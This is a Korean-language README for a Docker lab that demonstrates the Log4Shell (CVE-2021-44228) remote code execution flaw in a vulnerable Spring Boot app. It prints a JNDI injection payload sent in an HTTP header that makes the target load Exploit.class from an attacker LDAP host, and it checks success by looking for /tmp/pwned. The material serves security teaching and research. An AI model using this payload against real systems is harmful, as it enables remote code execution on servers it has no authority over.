
Log4Shell(CVE-2021-44228)을 위한 Docker 기반 RCE 익스플로잇 데모: 취약한 Spring Boot 앱, 악성 LDAP 서버, JNDI 인젝션을 통한 페이로드 전달이 포함됩니다.
이 프로젝트는 Apache Log4j 2 라이브러리의 Log4Shell 취약점을 통한 RCE 공격 시나리오를 시뮬레이션합니다.
Exploit.class를 제공하는 HTTP 서버를 포함합니다.Docker와 Docker Compose가 설치되어 있어야 합니다.
docker compose up --build
두 컨테이너가 모두 준비될 때까지 기다립니다. vulnerable-app은 포트 8080에서 실행됩니다.
새 터미널을 열고 X-Api-Version 헤더를 통해 JNDI 페이로드가 포함된 요청을 전송합니다:
curl -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost:8080/
vulnerable-app 컨테이너의 로그를 확인합니다. 페이로드가 기록된 메시지를 볼 수 있습니다.attacker 컨테이너의 로그를 확인합니다. LDAP 연결이 HTTP 서버로 리디렉션되는 것을 볼 수 있습니다.vulnerable-app 컨테이너 내부에 /tmp/pwned 파일이 생성되었는지 확인합니다:docker exec -it vulnerable-app ls -la /tmp/pwned
파일이 존재하면 악성 코드 Exploit.class가 성공적으로 실행되었음을 의미합니다!
이 프로젝트는 교육 및 보안 연구 목적으로만 사용됩니다. 불법적인 목적으로 절대 사용하지 마십시오.